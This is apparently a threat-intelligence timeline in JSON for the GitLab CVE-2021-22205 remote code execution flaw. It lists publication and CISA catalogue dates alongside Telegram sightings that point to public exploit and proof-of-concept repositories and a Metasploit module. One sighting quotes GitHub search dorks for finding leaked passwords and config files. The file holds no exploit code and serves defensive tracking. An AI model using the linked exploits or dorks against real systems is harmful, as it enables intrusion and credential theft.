{"metadata": {"vulnerability": "CVE-2021-22205", "count": 121, "kinds": {"milestone": 6, "sighting": 79, "kev": 17, "other": 19}}, "data": [{"timestamp": "2021-01-05T00:00:00Z", "date_only": false, "value": "2021-01-05T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2021-22205", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-04-15T00:00:00Z", "date_only": false, "value": "2021-04-15T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2021-AVI-267", "record": "CERTFR-2021-AVI-267", "field": "revisions.0.revision_date"}, {"timestamp": "2021-04-23T17:39:36Z", "date_only": false, "value": "2021-04-23T17:39:36.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-22205", "field": "cveMetadata.datePublished"}, {"timestamp": "2021-04-23T18:15:00Z", "date_only": false, "value": "2021-04-23T18:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-VGP2-3HXM-6X85", "record": "GHSA-VGP2-3HXM-6X85", "field": "database_specific.nvd_published_at"}, {"timestamp": "2021-04-23T18:15:00Z", "date_only": false, "value": "2021-04-23T18:15:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2021-22205", "record": "UBUNTU-CVE-2021-22205", "field": "published"}, {"timestamp": "2021-04-23T18:15:00Z", "date_only": false, "value": "2021-04-23T18:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-22205", "record": "GSD-2021-22205", "field": "namespaces.nvd.nist.gov.publishedDate"}, {"timestamp": "2021-04-23T18:15:08.167Z", "date_only": false, "value": "2021-04-23T18:15:08.167", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-22205", "record": "FKIE_CVE-2021-22205", "field": "published"}, {"timestamp": "2021-10-26T00:00:00Z", "date_only": false, "value": "2021-10-26T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-22205", "field": "containers.adp.1.metrics.0.other.content.timestamp"}, {"timestamp": "2021-10-26T00:00:00Z", "date_only": false, "value": "2021-10-26T00:00:00+00:00", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-22205", "record": "FKIE_CVE-2021-22205", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2021-10-28T05:18:25Z", "date_only": false, "value": "2021-10-28T05:18:25.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cKure/7805", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "1d867889-9a90-4597-8450-7161bed84d3d", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 GitLab CE CVE-2021-22205 in the wild.\n\nhttps://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/", "url": "https://t.me/cKure/7805"}, {"timestamp": "2021-10-28T06:33:48Z", "date_only": false, "value": "2021-10-28T06:33:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/759", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "6d11fe0c-1690-434e-86f4-c953541a78f8", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPocsuite3 For CVE-2021-22205\nURL\uff1ahttps://github.com/RedTeamWing/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/759"}, {"timestamp": "2021-10-28T09:55:15Z", "date_only": false, "value": "2021-10-28T09:55:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacker_trick/354", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "c565c6be-2f0d-47b2-9a3d-dc477f76e6a4", "content": "Pocsuite3 For #CVE-2021-22205\n\nhttps://github.com/RedTeamWing/CVE-2021-22205", "url": "https://t.me/hacker_trick/354"}, {"timestamp": "2021-10-28T13:37:04Z", "date_only": false, "value": "2021-10-28T13:37:04.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/bhhub/611", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "ff583eb5-fe61-4e02-9785-cae2a6f39456", "content": "#BugBountyTips of the Day\n5 Chrome Extensions for Web Pentesters/ Bug Bounty Hunters \u2705\ud83d\udc47  1\ufe0f\u20e3 Wappalyzer 2\u20e3 Shodan 3\u20e3 Cookie Editor  4\ufe0f\u20e3 HackBar  5\ufe0f\u20e3 Foxy Proxy   #infosec #bugbounty @shifacyclewala\n---\nThanks @redbull and @intigriti  for this fantastic swag. #bugbounty #swag  https://t.co/yeKVJRE7is\n---\nNuclei Template for CVE-2021-22205 - GitLab CE/EE Unauthenticated RCE using ExifTool  Template:  https://t.co/ELvga2mXyI  #bugbounty #pentest #hackwithautomation #gitlab  https://t.co/P18kC8IJJI\n---\nPretty interesting writeup on bypassing ModSecurity WAF for SQLi.  \ud83c\udf1f\"When MySQL sees 1.e(abc), it will ignore the 1.e( portion because the following characters do not form a valid numeric value.\"\ud83c\udf1f   https://t.co/nOa5bBvQNC  #bugbountytips #bugbounty #infosec #cybersecurity  https://t.co/JGUeTsK4o3\n---\nGithub Recon Dorks for beginners(Part-1) -> PT_TOKEN language:bash -> extension:sql mysql dump password -> filename:wp-config.php ->  https://t.co/FJjKBqv6YH password -> filename:.netrc password -> filename:WebServers.xml -> filename:config.php dbpasswd #bugbountytips #githubdork\n---\nI bought a new laptop with my bounties. #bugbounty  https://t.co/481YdgsPm5\n---\npentesters and bug bounty hunters are forever students \ud83d\udcaf  @shifacyclewala #BugBounty #CyberSecurityMonth #infosec\n---\nYou can print them too :)  Collection link :  https://t.co/NRP2hCgLEN Do lemme know which one do you like most, in below Poll \ud83d\udc47\ud83d\udc47  In the spot :  - Burp Suite - Ref - XSS - IDOR - LFI - RFI - SSTI - H2C - HRS  #infosec #bugbounty #hackers #learn365  https://t.co/FRuyaaSEiF\n---\nWhile comparing between Tools that Get all URLs between Speed and No of URLs I found that  [+] gau is slower [+] gauplus is better than gau so use it [+] waybackurls is faster [+] hakrawler between all of them is speed and NO of URLs  #recon #BugBounty #Security  https://t.co/Hyw3ehwVcz", "url": "https://t.me/bhhub/611"}, {"timestamp": "2021-10-28T14:05:09Z", "date_only": false, "value": "2021-10-28T14:05:09.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/763", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "2404a779-f223-434b-bba4-136a7bcc54bf", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205 Exploit\nURL\uff1ahttps://github.com/r0eXpeR/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/763"}, {"timestamp": "2021-10-29T01:48:01Z", "date_only": false, "value": "2021-10-29T01:48:01.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/canyoupwnme/6759", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "1c969e95-b5e4-445a-94c0-b55fc117e133", "content": "GitLab CE CVE-2021-22205 in the wild\nhttps://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/", "url": "https://t.me/canyoupwnme/6759"}, {"timestamp": "2021-10-29T04:35:21Z", "date_only": false, "value": "2021-10-29T04:35:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/767", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "65edbc31-a4af-4d2b-808d-75ef6f7de75d", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205& GitLab CE/EE RCE\nURL\uff1ahttps://github.com/Al1ex/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/767"}, {"timestamp": "2021-10-29T07:57:34Z", "date_only": false, "value": "2021-10-29T07:57:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacker_trick/355", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "b1dc7878-5e8c-4489-83b0-d467c055b0f5", "content": "#CVE-2021-22205 Unauthorized RCE\nhttps://github.com/r0eXpeR/CVE-2021-22205\n\n#CVE-2021-22205& GitLab CE/EE RCE\nhttps://github.com/Al1ex/CVE-2021-22205", "url": "https://t.me/hacker_trick/355"}, {"timestamp": "2021-10-29T09:24:27Z", "date_only": false, "value": "2021-10-29T09:24:27.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/770", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "521a66df-768c-471e-a0d9-b2ecb1e3b380", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aGitlab CE/EE RCE \u672a\u6388\u6743\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e POC && EXP CVE-2021-22205\nURL\uff1ahttps://github.com/antx-code/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/770"}, {"timestamp": "2021-10-29T18:52:32Z", "date_only": false, "value": "2021-10-29T18:52:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/93vLFpcg-bqXgHYEZG0ljPhGBREk82AG3wnQag2InyEdVg", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "ac86f402-f741-459e-87e5-b33af2bdc002"}, {"timestamp": "2021-10-30T03:05:15Z", "date_only": false, "value": "2021-10-30T03:05:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/774", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "8074fd7f-dd8f-45b3-9145-f335fb6c3c76", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205 \u79fb\u9664\u4e86\u5bf9djvumake & djvulibre\u7684\u4f9d\u8d56\uff0c\u53ef\u5728win\u5e73\u53f0\u4f7f\u7528\nURL\uff1ahttps://github.com/whwlsfb/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/774"}, {"timestamp": "2021-10-30T13:21:01Z", "date_only": false, "value": "2021-10-30T13:21:01.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberSecurityTechnologies/4602", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "68cffde1-18ed-40e5-8a01-10a918df0d3d", "content": "#Threat_Research\n1. GitLab CE CVE-2021-22205 in the wild\nhttps://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild\n]-> PoC: https://github.com/CsEnox/Gitlab-Exiftool-RCE\n2. PHP-FPM (PHP's FastCGI server) Local Root Vulnerability (NGINX, Apache)\nhttps://www.ambionics.io/blog/php-fpm-local-root", "url": "https://t.me/CyberSecurityTechnologies/4602"}, {"timestamp": "2021-10-31T04:19:23Z", "date_only": false, "value": "2021-10-31T04:19:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/780", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "ae360089-5d81-46c2-bb4b-fe139bd4c1fb", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205\u6f0f\u6d1e\u68c0\u6d4b\nURL\uff1ahttps://github.com/Seals6/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/780"}, {"timestamp": "2021-10-31T14:38:47Z", "date_only": false, "value": "2021-10-31T14:38:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/783", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "276f35ba-a8e3-4647-82e2-85ba00d3f0f9", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205 RCE \nURL\uff1ahttps://github.com/c0okB/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/783"}, {"timestamp": "2021-11-01T06:09:29Z", "date_only": false, "value": "2021-11-01T06:09:29.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/785", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "ea460cce-e3cd-4378-9efd-763480fdc201", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205-getshell\nURL\uff1ahttps://github.com/shang159/CVE-2021-22205-getshell", "url": "https://t.me/GithubRedTeam/785"}, {"timestamp": "2021-11-01T15:05:32Z", "date_only": false, "value": "2021-11-01T15:05:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacker_trick/375", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "293e0c3c-3653-4389-adc7-4b33c9c0c7d2", "content": "#CVE-2021-22205 RCE\n\nhttps://github.com/c0okB/CVE-2021-22205", "url": "https://t.me/hacker_trick/375"}, {"timestamp": "2021-11-01T18:07:47Z", "date_only": false, "value": "2021-11-01T18:07:47.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/oKZsZThJgpyAP79euNwjoNprJoXrtWwpypWHm-rouwqZfQ", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "5d170e9f-cb85-429e-904d-d308c83f7a20"}, {"timestamp": "2021-11-02T11:06:01Z", "date_only": false, "value": "2021-11-02T11:06:01.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/thehackernews/1628", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "ae962cd1-88e5-4ed7-9e59-c5efd40b1dbe", "content": "WARNING: A critical unauthenticated remote code execution flaw (CVE-2021-22205) affecting #GitLab CE is being actively exploited in the wild.\n\nDetails: https://thehackernews.com/2021/11/alert-hackers-exploiting-gitlab.html", "url": "https://t.me/thehackernews/1628"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-22205", "field": "timestamps.asserted_at", "uuid": "8e7dd4c0-9908-429a-a781-e195ccbba047", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2021-22205", "field": "timestamps.asserted_at", "uuid": "d286e067-ef01-45af-8f9b-5f8796f66a0b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-22205", "field": "containers.adp.1.metrics.1.other.content.dateAdded"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "other", "label": "Catalog added", "source": "gsd \u00b7 GSD-2021-22205", "record": "GSD-2021-22205", "field": "namespaces.cisa.gov.dateAdded"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2021-22205", "field": "evidence.0.details.added_date", "uuid": "d286e067-ef01-45af-8f9b-5f8796f66a0b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": true, "value": "2021-11-03", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2021-22205", "field": "evidence.0.details.date_added", "uuid": "8e7dd4c0-9908-429a-a781-e195ccbba047", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2021-22205", "field": "timestamps.first_seen_at", "uuid": "8e7dd4c0-9908-429a-a781-e195ccbba047", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2021-22205", "field": "timestamps.first_seen_at", "uuid": "d286e067-ef01-45af-8f9b-5f8796f66a0b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2021-AVI-267", "record": "CERTFR-2021-AVI-267", "field": "revisions.1.revision_date"}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2021-22205", "field": "status.status_updated_at", "uuid": "8e7dd4c0-9908-429a-a781-e195ccbba047", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T00:00:00Z", "date_only": false, "value": "2021-11-03T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2021-22205", "field": "status.status_updated_at", "uuid": "d286e067-ef01-45af-8f9b-5f8796f66a0b", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2021-11-03T12:31:19Z", "date_only": false, "value": "2021-11-03T12:31:19.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/habr_com_news/717", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "077ff1d8-7c5b-4c76-8502-05ad12f1e66a", "content": "\u200b\u0425\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c GitLab\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 (RCE) \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 GitLab \u043f\u043e-\u043f\u0440\u0435\u0436\u043d\u0435\u043c\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430. \u042d\u0442\u0430 \u0434\u044b\u0440\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u043a\u043e\u0434 CVE-2021-22205, \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043d\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439\u0441\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u0423\u0433\u0440\u043e\u0437\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043a\u0430\u043a \u0432\u0435\u0440\u0441\u0438\u0438 GitLab Enterprise Edition (EE), \u0442\u0430\u043a \u0438 GitLab Community Edition (CE), \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 11.9. \u0417\u0430\u043f\u043b\u0430\u0442\u043a\u0443 \u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 14 \u0430\u043f\u0440\u0435\u043b\u044f 2021 \u0433\u043e\u0434\u0430 \u0434\u043b\u044f \u0432\u0435\u0440\u0441\u0438\u0439 13.8.8, 13.9.6 \u0438 13.10.3.", "url": "https://t.me/habr_com_news/717"}, {"timestamp": "2021-11-03T21:17:46Z", "date_only": false, "value": "2021-11-03T21:17:46.000000Z", "kind": "sighting", "label": "Seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/gitlab_exif_rce.rb", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "09ef0b05-5b38-46f8-bb85-fb533273360f", "url": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/gitlab_exif_rce.rb"}, {"timestamp": "2021-11-04T04:00:00Z", "date_only": false, "value": "2021-11-04T04:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=687", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "202e8ac3-3e86-40a0-b959-70e4d98a3e94", "url": "https://www.govcert.gov.hk/en/alerts_detail.php?id=687"}, {"timestamp": "2021-11-04T09:06:20Z", "date_only": false, "value": "2021-11-04T09:06:20.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/803", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "9d310998-8790-42b3-b11b-afb88da9bfc5", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aCVE-2021-22205& GitLab CE/EE RCE\nURL\uff1ahttps://github.com/devdanqtuan/CVE-2021-22205", "url": "https://t.me/GithubRedTeam/803"}, {"timestamp": "2021-11-04T18:24:21Z", "date_only": false, "value": "2021-11-04T18:24:21.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cKure/7906", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "79c3c777-7ada-41a4-81b3-b226f3d2c238", "content": "\u25a0\u25a1\u25a1\u25a1\u25a1 Attackers are actively exploiting an \u201cold\u201d vulnerability (CVE-2021-22205) to take over on-premise GitLab servers, Rapid7 researcher Jacob Baines warns. The additional bad news is that at least half of the 60,000 internet-facing GitLab installations the company detects are not patched against this issue.\u00a0", "url": "https://t.me/cKure/7906"}, {"timestamp": "2021-11-05T15:45:45Z", "date_only": false, "value": "2021-11-05T15:45:45.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/tech_b0lt_Genona/2887", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "9a84414c-2682-45d6-8c56-431af0307f4a", "content": "\u0412\u0441\u0451 \u0437\u0430\u0431\u044b\u0432\u0430\u043b \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c. \u0422\u0443\u0442 GitLab'\u044b, \u0442\u043e\u0440\u0447\u0430\u0449\u0438\u0435 \u043d\u0430\u0440\u0443\u0436\u0443, \u043f\u043e\u043f\u0430\u043b\u0438 \u043f\u043e\u0434 \u0440\u0430\u0437\u0434\u0430\u0447\u0443. \u042f \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 \u0441\u044e\u0434\u0430 \u043f\u0438\u0441\u0430\u043b \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u043d\u0430\u0434\u043e \u0431\u044b \u0441\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c GitLab \u0438 \u0432\u043e\u0442 \u0442\u0435\u043f\u0435\u0440\u044c \u0443\u0436\u0435 \u043d\u0430\u0434\u043e \u0441\u043e\u0432\u0441\u0435\u043c \u0442\u043e\u0447\u043d\u043e \u0438\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0451 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e.\n\nGitLab CE CVE-2021-22205 in the wild\nhttps://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild\n\n\u0427\u0435\u043a\u0430\u043b\u043a\u0438 \u0438 PoC'\u0438 (\u0422\u042b\u0421\u042f\u0427\u0418!11!! \u0438\u0445)\nhttps://github.com/Al1ex/CVE-2021-22205\nhttps://github.com/mr-r3bot/Gitlab-CVE-2021-22205\nhttps://github.com/r0eXpeR/CVE-2021-22205\nhttps://github.com/RedTeamWing/CVE-2021-22205\n\n\u0417\u0430 \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u0441\u043f\u0430\u0441\u0438\u0431\u043e @codediggers", "url": "https://t.me/tech_b0lt_Genona/2887"}, {"timestamp": "2021-11-05T16:34:58Z", "date_only": false, "value": "2021-11-05T16:34:58.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/gitlab_cve_2021_22205", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "9ce05adf-4dc1-4c73-9c64-0754f41aae55", "url": "https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/gitlab_cve_2021_22205"}, {"timestamp": "2021-11-05T16:51:47Z", "date_only": false, "value": "2021-11-05T16:51:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/810", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "a2d9a438-12fe-42ce-b3ab-f0f76264e0db", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAutomated Gitlab RCE via CVE-2021-22205\nURL\uff1ahttps://github.com/X1pe0/Automated-Gitlab-RCE", "url": "https://t.me/GithubRedTeam/810"}, {"timestamp": "2021-11-05T17:00:31Z", "date_only": false, "value": "2021-11-05T17:00:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/811", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "bcd0066c-377e-4ba0-a0c0-6366de557316", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aExploit for GitLab CVE-2021-22205 Unauthenticated Remote Code Execution\nURL\uff1ahttps://github.com/runsel/GitLab-CVE-2021-22205-", "url": "https://t.me/GithubRedTeam/811"}, {"timestamp": "2021-11-08T08:58:17Z", "date_only": false, "value": "2021-11-08T08:58:17.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f5030aca-7d5a-43a4-ae03-8f4ac8e85422", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "6d7b93bc-0070-4ded-98af-1f37a669b701"}, {"timestamp": "2021-11-08T11:07:01Z", "date_only": false, "value": "2021-11-08T11:07:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/4701", "record": "CVE-2021-22205", "field": "creation_timestamp", "uuid": "d125b93a-f84b-4e88-9c51-f23ae95e3c98", "content": "#Analytics\nTop 10 Most Used Vulns of the Month (Oct 1-31)\nCVE-2021-41773 - Apache 2.4.49 Path Traversal\nhttps://t.me/cybersecuritytechnologies/4454\nCVE-2021-26084 - Confluence Server Webwork OGNL Inj\nhttps://t.me/cybersecuritytechnologies/4202\nCVE-2021-42013 - Apache 2.4.50 Path Traversal\nhttps://t.me/cybersecuritytechnologies/4475\nCVE-2021-22205 - GitLab CE/EE RCE\nhttps://t.me/cybersecuritytechnologies/4602\nCVE-2021-40449 - UaF in the NtGdiResetDC function of the Win32k 